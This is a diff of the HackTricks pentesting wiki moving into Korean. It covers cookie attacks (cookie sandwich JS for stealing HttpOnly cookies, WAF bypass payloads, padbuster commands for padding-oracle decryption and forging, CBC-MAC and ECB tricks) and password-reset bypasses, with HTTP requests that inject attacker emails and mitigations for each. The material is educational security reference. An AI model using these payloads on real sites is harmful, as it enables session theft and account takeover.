According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), **`$Version=1`** 쿠키 속성을 사용하여 백엔드가 쿠키를 파싱하는 오래된 논리를 사용할 수 있을 가능성이 있습니다. **RFC2109** 때문입니다. 또한 **`$Domain`** 및 **`$Path`**와 같은 다른 값을 사용하여 쿠키와 함께 백엔드의 동작을 수정할 수 있습니다.
|
||||
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), it might be possible to use the cookie attribute **`$Version=1`** to make the backend use an old logic to parse the cookie due to the **RFC2109**. Moreover, other values just as **`$Domain`** and **`$Path`** can be used to modify the behaviour of the backend with the cookie.
|
||||
|
||||
#### 쿠키 샌드위치 공격
|
||||
#### Cookie Sandwich Attack
|
||||
|
||||
According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique), 쿠키 샌드위치 기법을 사용하여 HttpOnly 쿠키를 훔칠 수 있습니다. 다음은 요구 사항 및 단계입니다:
|
||||
According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) it's possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:
|
||||
|
||||
- 응답에 명백히 쓸모없는 **쿠키가 반영되는 곳을 찾습니다.**
|
||||
- **값이 `1`인 `$Version`이라는 쿠키를 생성합니다** (JS에서 XSS 공격으로 이 작업을 수행할 수 있습니다) 더 구체적인 경로를 설정하여 초기 위치를 차지하게 합니다 (Python과 같은 일부 프레임워크는 이 단계를 필요로 하지 않습니다).
|
||||
- **반영되는 쿠키를 생성**하고 값에 **열린 큰따옴표**를 남기며, 이전 쿠키(`$Version`) 뒤에 위치하도록 특정 경로를 설정합니다.
|
||||
- 그러면 정당한 쿠키가 순서상 다음에 오게 됩니다.
|
||||
- **큰따옴표를 닫는 더미 쿠키를 생성**합니다.
|
||||
- 응답에 명백히 쓸모없어 보이는 **cookie가 반영되는 장소를 찾습니다**
|
||||
- **Create a cookie called `$Version`**. 값은 `1`로 설정합니다 (이 작업은 XSS 공격에서 JS로 수행할 수 있습니다). 더 구체적인 path를 사용해 초기 위치를 차지하게 합니다 (일부 프레임워크, 예: Python은 이 단계가 필요하지 않을 수 있습니다)
|
||||
- **Create the cookie that is reflected**. 값은 **open double quotes**를 남기도록 하고, 특정 path를 지정해 이전에 만든 `$Version` 뒤에 cookie db에 위치하도록 합니다
|
||||
- 그러면 정상 쿠키가 다음 순서로 옵니다
|
||||
- **Create a dummy cookie that closes the double quotse** 값을 통해 열린 큰따옴표를 닫는 더미 cookie를 생성합니다
|
||||
|
||||
이렇게 하면 피해자 쿠키가 새로운 쿠키 버전 1 안에 갇히게 되고, 반영될 때마다 반영됩니다.
|
||||
이렇게 하면 피해자 쿠키가 새로운 버전 1 쿠키 안에 갇히게 되어 해당 쿠키가 반영될 때마다 함께 반사됩니다. 예: 게시물에서:
|
||||
```javascript
|
||||
document.cookie = `$Version=1;`;
|
||||
document.cookie = `param1="start`;
|
||||
// any cookies inside the sandwich will be placed into param1 value server-side
|
||||
document.cookie = `param2=end";`;
|
||||
```
|
||||
### WAF 우회
|
||||
### WAF bypasses
|
||||
|
||||
#### Cookies $version
|
||||
|
||||
이전 섹션을 확인하세요.
|
||||
|
||||
#### 인용 문자열 인코딩을 통한 값 분석 우회
|
||||
#### Bypassing value analysis with quoted-string encoding
|
||||
|
||||
이 구문 분석은 쿠키 내에서 이스케이프된 값을 언이스케이프하도록 지시하므로, "\a"는 "a"가 됩니다. 이는 WAF를 우회하는 데 유용할 수 있습니다:
|
||||
이 파싱은 cookie 내부의 이스케이프된 값을 언이스케이프(unescape)하여 처리한다. 따라서 "\a"는 "a"가 된다. 이는 WAFS를 우회하는 데 유용할 수 있다:
|
||||
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
|
||||
|
||||
#### 쿠키 이름 차단 목록 우회
|
||||
#### Bypassing cookie-name blocklists
|
||||
|
||||
RFC2109에서는 **쉼표가 쿠키 값 사이의 구분자로 사용될 수 있다고 명시되어 있습니다**. 또한 **등호 앞뒤에 공백과 탭을 추가하는 것이 가능합니다**. 따라서 `$Version=1; foo=bar, abc = qux`와 같은 쿠키는 `"foo":"bar, admin = qux"`라는 쿠키를 생성하지 않고 `foo":"bar"`와 `"admin":"qux"`라는 쿠키를 생성합니다. 두 개의 쿠키가 생성되는 방식과 admin의 등호 앞뒤 공백이 제거된 방식을 주목하세요.
|
||||
In the RFC2109 it's indicated that a **쉼표(,)는 cookie 값들 사이의 구분자로 사용할 수 있다**. And also it's possible to add **등호(=) 앞뒤에 공백과 탭을 추가할 수 있다**. Therefore a cookie like `$Version=1; foo=bar, abc = qux` doesn't generate the cookie `"foo":"bar, admin = qux"` but the cookies `foo":"bar"` and `"admin":"qux"`. Notice how 2 cookies are generated and how admin got removed the space before and after the equal sign.
|
||||
|
||||
#### 쿠키 분할을 통한 값 분석 우회
|
||||
#### Bypassing value analysis with cookie splitting
|
||||
|
||||
마지막으로, 서로 다른 백도어는 서로 다른 쿠키 헤더에서 전달된 서로 다른 쿠키를 문자열로 결합할 수 있습니다:
|
||||
마지막으로, 서로 다른 backdoors가 서로 다른 cookie headers로 전달된 여러 cookies를 하나의 문자열로 합쳐 전송하는 경우도 있다. 예:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
Cookie: param1=value1;
|
||||
Cookie: param2=value2;
|
||||
```
|
||||
이 예제와 같이 WAF를 우회할 수 있게 해줄 수 있습니다:
|
||||
이는 다음 예시에서처럼 WAF를 우회할 수 있습니다:
|
||||
```
|
||||
Cookie: name=eval('test//
|
||||
Cookie: comment')
|
||||
|
||||
Resulting cookie: name=eval('test//, comment') => allowed
|
||||
```
|
||||
### 추가 취약한 쿠키 검사
|
||||
### 추가 취약 Cookies 검사
|
||||
|
||||
#### **기본 검사**
|
||||
#### **기본 점검**
|
||||
|
||||
- **쿠키**가 로그인할 때마다 **같은**지 확인합니다.
|
||||
- 로그아웃하고 같은 쿠키를 사용해 보세요.
|
||||
- 두 개의 장치(또는 브라우저)로 같은 계정에 같은 쿠키로 로그인해 보세요.
|
||||
- 쿠키에 정보가 있는지 확인하고 수정해 보세요.
|
||||
- 거의 같은 사용자 이름으로 여러 계정을 생성하고 유사성을 확인해 보세요.
|
||||
- "**기억하기**" 옵션이 존재하는지 확인하고 어떻게 작동하는지 살펴보세요. 존재하고 취약할 수 있다면, 다른 쿠키 없이 항상 **기억하기** 쿠키를 사용하세요.
|
||||
- 비밀번호를 변경한 후에도 이전 쿠키가 작동하는지 확인하세요.
|
||||
- **cookie**는 매번 **login**할 때 **같습니다**.
|
||||
- **Log out**하고 같은 **cookie**를 사용해 보세요.
|
||||
- 같은 계정에 대해 같은 **cookie**를 사용하여 2대의 기기(또는 브라우저)에서 **log in**해 보세요.
|
||||
- **cookie**에 어떤 정보가 들어있는지 확인하고 수정해 보세요.
|
||||
- 거의 동일한 **username**으로 여러 계정을 생성해 보고 유사점이 보이는지 확인하세요.
|
||||
- 존재한다면 "**remember me**" 옵션이 어떻게 동작하는지 확인하세요. 존재하고 취약할 가능성이 있다면, 항상 다른 cookie 없이 **remember me**의 cookie만 사용하세요.
|
||||
- 비밀번호를 변경한 후에도 이전 **cookie**가 작동하는지 확인하세요.
|
||||
|
||||
#### **고급 쿠키 공격**
|
||||
#### **고급 cookies 공격**
|
||||
|
||||
로그인할 때 쿠키가 동일하게 유지되거나 거의 동일하다면, 이는 쿠키가 귀하의 계정의 일부 필드(아마도 사용자 이름)와 관련이 있음을 의미합니다. 그러면 다음을 시도할 수 있습니다:
|
||||
만약 **cookie**가 **log in**할 때 동일하게(또는 거의 동일하게) 유지된다면, 이는 아마 cookie가 계정의 어떤 필드(아마도 **username**)와 연관되어 있음을 의미합니다. 그러면 다음을 시도할 수 있습니다:
|
||||
|
||||
- 매우 **유사한** 사용자 이름으로 많은 **계정**을 생성하고 알고리즘이 어떻게 작동하는지 **추측**해 보세요.
|
||||
- **사용자 이름을 브루트포스**해 보세요. 쿠키가 사용자 이름에 대한 인증 방법으로만 저장된다면, 사용자 이름 "**Bmin**"으로 계정을 생성하고 쿠키의 모든 **비트**를 **브루트포스**할 수 있습니다. 왜냐하면 시도할 쿠키 중 하나는 "**admin**"에 속하는 쿠키일 것이기 때문입니다.
|
||||
- **패딩** **오라클**을 시도해 보세요(쿠키의 내용을 복호화할 수 있습니다). **패드버스터**를 사용하세요.
|
||||
- username이 매우 비슷한 많은 계정을 만들고 알고리즘이 어떻게 동작하는지 추측해 보세요.
|
||||
- **bruteforce the username**을 시도해 보세요. 만약 cookie가 단지 username에 대한 인증 수단으로만 저장된다면, username을 "**Bmin**"으로 계정을 생성하고 cookie의 모든 **bit**를 **bruteforce**할 수 있습니다. 왜냐하면 시도할 cookie들 중 하나가 "**admin**"에 해당하는 cookie일 수 있기 때문입니다.
|
||||
- **Padding Oracle**을 시도해 보세요(이를 통해 cookie의 내용을 복호화할 수 있습니다). **padbuster**를 사용하세요.
|
||||
|
||||
**패딩 오라클 - 패드버스터 예제**
|
||||
**Padding Oracle - Padbuster examples**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
@ -267,43 +277,46 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
||||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster는 여러 번 시도하며 어떤 조건이 오류 조건인지(유효하지 않은 조건) 물어봅니다.
|
||||
Padbuster는 여러 번 시도하고 어떤 조건이 에러 조건인지(유효하지 않은 조건)를 물어봅니다.
|
||||
|
||||
그런 다음 쿠키를 해독하기 시작합니다(몇 분이 걸릴 수 있습니다).
|
||||
그런 다음 쿠키를 decrypting하기 시작합니다(몇 분이 걸릴 수 있습니다)
|
||||
|
||||
공격이 성공적으로 수행되었다면, 원하는 문자열을 암호화해 볼 수 있습니다. 예를 들어, **encrypt** **user=administrator**를 원한다면.
|
||||
공격이 성공적으로 수행되었다면, 원하는 문자열을 **encrypt**해볼 수 있습니다. 예를 들어, **user=administrator**를 **encrypt**
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
이 실행은 문자열 **user=administrator**가 포함된 쿠키를 올바르게 암호화하고 인코딩합니다.
|
||||
이 실행은 문자열 **user=administrator** 를 포함한 cookie를 올바르게 암호화하고 인코딩한 값을 제공합니다.
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
쿠키가 어떤 값을 가질 수 있고 CBC를 사용하여 서명될 수 있습니다. 그러면 값의 무결성은 동일한 값을 사용하여 CBC로 생성된 서명입니다. IV로 널 벡터를 사용하는 것이 권장되므로, 이러한 유형의 무결성 검사는 취약할 수 있습니다.
|
||||
Maybe a cookie could have some value and could be signed using CBC. Then, the integrity of the value is the signature created by using CBC with the same value. As it is recommended to use as IV a null vector, this type of integrity checking could be vulnerable.
|
||||
|
||||
**공격**
|
||||
**The attack**
|
||||
|
||||
1. 사용자 이름 **administ**의 서명 가져오기 = **t**
|
||||
2. 사용자 이름 **rator\x00\x00\x00 XOR t**의 서명 가져오기 = **t'**
|
||||
3. 쿠키에 값 **administrator+t'** 설정하기 (**t'**는 **(rator\x00\x00\x00 XOR t) XOR t**의 유효한 서명이 됩니다 = **rator\x00\x00\x00**)
|
||||
1. username **administ**의 서명(= **t**)을 얻는다.
|
||||
2. username **rator\x00\x00\x00 XOR t**의 서명(= **t'**)을 얻는다.
|
||||
3. cookie에 값 **administrator+t'**를 설정한다(**t'**는 **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**의 유효한 서명이 된다)
|
||||
|
||||
**ECB**
|
||||
|
||||
쿠키가 ECB를 사용하여 암호화된 경우 취약할 수 있습니다.\
|
||||
로그인할 때 수신하는 쿠키는 항상 동일해야 합니다.
|
||||
If the cookie is encrypted using ECB it could be vulnerable.\
|
||||
When you log in the cookie that you receive has to be always the same.
|
||||
|
||||
**탐지 및 공격 방법:**
|
||||
**How to detect and attack:**
|
||||
|
||||
거의 동일한 데이터(사용자 이름, 비밀번호, 이메일 등)를 가진 2명의 사용자를 생성하고 주어진 쿠키 내에서 어떤 패턴을 발견하려고 시도합니다.
|
||||
Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie
|
||||
|
||||
예를 들어 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"라는 사용자를 생성하고 쿠키에서 패턴이 있는지 확인합니다(ECB는 동일한 키로 모든 블록을 암호화하므로 사용자 이름이 암호화되면 동일한 암호화된 바이트가 나타날 수 있습니다).
|
||||
Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).
|
||||
|
||||
사용된 블록의 크기로 패턴이 있어야 합니다. 따라서 "a"의 암호화된 묶음을 알고 있으면 사용자 이름을 "a"\*(블록 크기)+"admin"으로 만들 수 있습니다. 그런 다음 쿠키에서 "a" 블록의 암호화된 패턴을 삭제할 수 있습니다. 그러면 사용자 이름 "admin"의 쿠키를 얻게 됩니다.
|
||||
There should be a pattern (with the size of a used block). So, knowing how are a bunch of "a" encrypted you can create a username: "a"\*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin".
|
||||
|
||||
## References
|
||||
|
||||
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
|
||||
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
|
||||
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,180 +1,181 @@
|
||||
# 비밀번호 재설정/잊어버린 비밀번호 우회
|
||||
# Reset/Forgotten Password Bypass
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **참조자를 통한 비밀번호 재설정 토큰 유출**
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
|
||||
- HTTP referer 헤더는 URL에 포함된 경우 비밀번호 재설정 토큰을 유출할 수 있습니다. 이는 사용자가 비밀번호 재설정을 요청한 후 제3자 웹사이트 링크를 클릭할 때 발생할 수 있습니다.
|
||||
- **영향**: 교차 사이트 요청 위조(CSRF) 공격을 통한 계정 탈취 가능성.
|
||||
- **악용 방법**: referer 헤더에서 비밀번호 재설정 토큰이 유출되고 있는지 확인하려면, **비밀번호 재설정을 요청**하여 이메일 주소로 **재설정 링크를 클릭**합니다. **즉시 비밀번호를 변경하지 마십시오**. 대신, **Burp Suite를 사용하여 요청을 가로채면서** **제3자 웹사이트**(예: Facebook 또는 Twitter)로 이동합니다. 요청을 검사하여 **referer 헤더에 비밀번호 재설정 토큰이 포함되어 있는지** 확인하십시오. 이는 제3자에게 민감한 정보를 노출할 수 있습니다.
|
||||
- **참조**:
|
||||
- HTTP referer header가 URL에 포함된 경우 password reset token이 leak될 수 있습니다. 이는 사용자가 password reset을 요청한 후 제3자 웹사이트 링크를 클릭할 때 발생할 수 있습니다.
|
||||
- **영향**: Cross-Site Request Forgery (CSRF) 공격을 통해 계정 탈취 가능성.
|
||||
- **악용 방법**: referer header에 password reset token이 leak되는지 확인하려면, 이메일 주소로 **password reset을 요청**하고 제공된 **reset link를 클릭**하세요. **즉시 비밀번호를 변경하지 마십시오.** 대신 **Burp Suite로 요청을 가로채는 상태에서** Facebook 또는 Twitter 같은 **제3자 웹사이트로 이동**하세요. 요청을 검사하여 **referer header에 password reset token이 포함되어 있는지** 확인하세요. 이는 민감한 정보가 제3자에게 노출될 수 있습니다.
|
||||
- **참고자료**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [비밀번호 재설정 토큰 유출 기사](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **비밀번호 재설정 중독**
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- 공격자는 비밀번호 재설정 요청 중 Host 헤더를 조작하여 재설정 링크를 악성 사이트로 유도할 수 있습니다.
|
||||
- **영향**: 재설정 토큰이 공격자에게 유출되어 계정 탈취 가능성.
|
||||
- 공격자는 password reset 요청 중 Host header를 조작하여 reset link를 악성 사이트로 향하게 할 수 있습니다.
|
||||
- **영향**: reset token을 공격자에게 leaking하여 계정 탈취 가능성.
|
||||
- **완화 조치**:
|
||||
- 허용된 도메인 목록에 대해 Host 헤더를 검증합니다.
|
||||
- 절대 URL을 생성하기 위해 안전한 서버 측 방법을 사용합니다.
|
||||
- **패치**: `$_SERVER['HTTP_HOST']` 대신 `$_SERVER['SERVER_NAME']`을 사용하여 비밀번호 재설정 URL을 구성합니다.
|
||||
- **참조**:
|
||||
- [비밀번호 재설정 중독에 대한 Acunetix 기사](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
- Host header를 허용 도메인 화이트리스트와 비교해 검증하세요.
|
||||
- 절대 URL을 생성할 때 안전한 서버 측 방법을 사용하세요.
|
||||
- **패치**: password reset URL을 구성할 때 `$_SERVER['HTTP_HOST']` 대신 `$_SERVER['SERVER_NAME']`을 사용하세요.
|
||||
- **참고자료**:
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **이메일 매개변수 조작을 통한 비밀번호 재설정**
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
|
||||
공격자는 추가 이메일 매개변수를 추가하여 비밀번호 재설정 요청을 조작하여 재설정 링크를 전환할 수 있습니다.
|
||||
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
|
||||
|
||||
- &를 사용하여 공격자 이메일을 두 번째 매개변수로 추가합니다.
|
||||
- &를 사용해 두 번째 파라미터로 공격자 이메일을 추가
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- 공격자 이메일을 두 번째 매개변수로 추가하고 %20을 사용하세요.
|
||||
- attacker email을 두 번째 매개변수로 %20을 사용해 추가
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
- 공격자 이메일을 두 번째 매개변수로 추가합니다 |
|
||||
- 공격자 이메일을 | 를 사용해 두 번째 매개변수로 추가
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- 공격자 이메일을 두 번째 매개변수로 추가하여 cc 사용
|
||||
- 공격자 이메일을 cc로 두 번째 매개변수로 추가
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- 공격자 이메일을 두 번째 매개변수로 추가하여 bcc 사용
|
||||
- bcc를 사용하여 attacker 이메일을 두 번째 매개변수로 추가
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- 공격자 이메일을 두 번째 매개변수로 추가합니다.
|
||||
- 두 번째 매개변수로 attacker email을 쉼표(,)로 추가
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
- 공격자 이메일을 JSON 배열의 두 번째 매개변수로 추가합니다.
|
||||
- json array에서 두 번째 매개변수로 attacker email을 추가하세요
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **완화 단계**:
|
||||
- 이메일 매개변수를 서버 측에서 적절하게 구문 분석하고 검증합니다.
|
||||
- 주입 공격을 방지하기 위해 준비된 문이나 매개변수화된 쿼리를 사용합니다.
|
||||
- **참조**:
|
||||
- **완화 조치**:
|
||||
- 서버 측에서 이메일 파라미터를 올바르게 파싱하고 검증하세요.
|
||||
- injection attacks를 방지하기 위해 prepared statements 또는 parameterized queries를 사용하세요.
|
||||
- **참고 자료**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **API 매개변수를 통한 사용자 이메일 및 비밀번호 변경**
|
||||
## **API 파라미터로 임의 사용자의 이메일 및 비밀번호 변경**
|
||||
|
||||
- 공격자는 API 요청에서 이메일 및 비밀번호 매개변수를 수정하여 계정 자격 증명을 변경할 수 있습니다.
|
||||
- 공격자는 API 요청의 이메일 및 비밀번호 파라미터를 수정하여 계정 자격 증명을 변경할 수 있습니다.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **완화 단계**:
|
||||
- 엄격한 매개변수 검증 및 인증 검사를 보장합니다.
|
||||
- 의심스러운 활동을 감지하고 대응하기 위해 강력한 로깅 및 모니터링을 구현합니다.
|
||||
- **참조**:
|
||||
- [API 매개변수 조작을 통한 전체 계정 탈취](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
- **완화 조치**:
|
||||
- 매개변수 검증과 인증 검사를 엄격히 시행하세요.
|
||||
- 의심스러운 활동을 탐지하고 대응할 수 있도록 강력한 로깅과 모니터링을 구현하세요.
|
||||
- **참고**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **비율 제한 없음: 이메일 폭탄**
|
||||
## **No Rate Limiting: Email Bombing**
|
||||
|
||||
- 비밀번호 재설정 요청에 대한 비율 제한이 없으면 이메일 폭탄이 발생하여 사용자가 재설정 이메일로 압도당할 수 있습니다.
|
||||
- **완화 단계**:
|
||||
- IP 주소 또는 사용자 계정을 기반으로 비율 제한을 구현합니다.
|
||||
- 자동화된 남용을 방지하기 위해 CAPTCHA 챌린지를 사용합니다.
|
||||
- **참조**:
|
||||
- [HackerOne 보고서 280534](https://hackerone.com/reports/280534)
|
||||
- password reset 요청에 대한 rate limiting 부재는 email bombing으로 이어져 사용자가 reset emails로 과도하게 몰릴 수 있습니다.
|
||||
- **완화 조치**:
|
||||
- IP address 또는 user account 기반의 rate limiting을 적용하세요.
|
||||
- 자동화된 남용을 막기 위해 CAPTCHA 챌린지를 사용하세요.
|
||||
- **참고**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **비밀번호 재설정 토큰 생성 방법 알아내기**
|
||||
## **Password Reset Token이 어떻게 생성되는지 파악하기**
|
||||
|
||||
- 토큰 생성의 패턴이나 방법을 이해하면 토큰을 예측하거나 무차별 대입할 수 있습니다. 몇 가지 옵션:
|
||||
- 타임스탬프 기반
|
||||
- 사용자 ID 기반
|
||||
- 사용자 이메일 기반
|
||||
- 이름 및 성 기반
|
||||
- 생년월일 기반
|
||||
- 암호학 기반
|
||||
- **완화 단계**:
|
||||
- 토큰 생성을 위해 강력한 암호화 방법을 사용합니다.
|
||||
- 예측 가능성을 방지하기 위해 충분한 무작위성과 길이를 보장합니다.
|
||||
- **도구**: Burp Sequencer를 사용하여 토큰의 무작위성을 분석합니다.
|
||||
- 토큰 생성의 패턴이나 방법을 이해하면 토큰을 예측하거나 brute-force할 수 있습니다. 몇 가지 옵션:
|
||||
- Based Timestamp
|
||||
- Based on the UserID
|
||||
- Based on email of User
|
||||
- Based on Firstname and Lastname
|
||||
- Based on Date of Birth
|
||||
- Based on Cryptography
|
||||
- **완화 조치**:
|
||||
- 토큰 생성에 강력한 cryptographic 방법을 사용하세요.
|
||||
- 예측 가능성을 방지하기 위해 충분한 randomness와 길이를 보장하세요.
|
||||
- **도구**: Burp Sequencer를 사용하여 토큰의 randomness를 분석하세요.
|
||||
|
||||
## **추측 가능한 UUID**
|
||||
## **Guessable UUID**
|
||||
|
||||
- UUIDs (version 1)이 guessable하거나 predictable하면 공격자가 brute-force하여 유효한 reset tokens를 생성할 수 있습니다. 확인:
|
||||
|
||||
- UUID(버전 1)가 추측 가능하거나 예측 가능하면 공격자가 이를 무차별 대입하여 유효한 재설정 토큰을 생성할 수 있습니다. 확인하십시오:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **완화 단계**:
|
||||
- 무작위성을 위해 GUID 버전 4를 사용하거나 다른 버전에 대한 추가 보안 조치를 구현합니다.
|
||||
- **도구**: [guidtool](https://github.com/intruder-io/guidtool)을 사용하여 GUID를 분석하고 생성합니다.
|
||||
- **완화 조치**:
|
||||
- 무작위성을 위해 GUID version 4를 사용하거나 다른 버전에는 추가 보안 조치를 구현하세요.
|
||||
- **도구**: [guidtool](https://github.com/intruder-io/guidtool)로 GUID를 분석하고 생성하세요.
|
||||
|
||||
## **응답 조작: 나쁜 응답을 좋은 응답으로 교체**
|
||||
## **Response Manipulation: Replace Bad Response With Good One**
|
||||
|
||||
- 오류 메시지나 제한을 우회하기 위해 HTTP 응답을 조작합니다.
|
||||
- **완화 단계**:
|
||||
- 응답 무결성을 보장하기 위해 서버 측 검사를 구현합니다.
|
||||
- 중간자 공격을 방지하기 위해 HTTPS와 같은 안전한 통신 채널을 사용합니다.
|
||||
- **참조**:
|
||||
- [라이브 버그 바운티 이벤트의 치명적인 버그](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
- error messages나 restrictions를 우회하기 위해 HTTP responses를 조작하는 행위.
|
||||
- **완화 조치**:
|
||||
- response 무결성을 보장하기 위해 server-side 검사를 구현하세요.
|
||||
- man-in-the-middle 공격을 방지하기 위해 HTTPS와 같은 보안 통신 채널을 사용하세요.
|
||||
- **참고**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **만료된 토큰 사용**
|
||||
## **Using Expired Token**
|
||||
|
||||
- 만료된 토큰이 여전히 비밀번호 재설정에 사용될 수 있는지 테스트합니다.
|
||||
- **완화 단계**:
|
||||
- 엄격한 토큰 만료 정책을 구현하고 서버 측에서 토큰 만료를 검증합니다.
|
||||
- 만료된 tokens가 여전히 password reset에 사용 가능한지 테스트하기.
|
||||
- **완화 조치**:
|
||||
- 엄격한 token 만료 정책을 구현하고 token 만료를 server-side에서 검증하세요.
|
||||
|
||||
## **무차별 대입 비밀번호 재설정 토큰**
|
||||
## **Brute Force Password Reset Token**
|
||||
|
||||
- Burpsuite 및 IP-Rotator와 같은 도구를 사용하여 재설정 토큰을 무차별 대입하려고 시도하여 IP 기반 비율 제한을 우회합니다.
|
||||
- **완화 단계**:
|
||||
- 강력한 비율 제한 및 계정 잠금 메커니즘을 구현합니다.
|
||||
- 무차별 대입 공격을 나타내는 의심스러운 활동을 모니터링합니다.
|
||||
- IP 기반 rate limits를 우회하기 위해 Burpsuite와 IP-Rotator 같은 도구를 사용해 reset token을 brute-force하려는 시도.
|
||||
- **완화 조치**:
|
||||
- 강력한 rate-limiting 및 account lockout 메커니즘을 구현하세요.
|
||||
- brute-force 공격을 시사하는 의심스러운 활동을 모니터링하세요.
|
||||
|
||||
## **당신의 토큰 사용 시도**
|
||||
## **Try Using Your Token**
|
||||
|
||||
- 공격자의 재설정 토큰이 피해자의 이메일과 함께 사용될 수 있는지 테스트합니다.
|
||||
- **완화 단계**:
|
||||
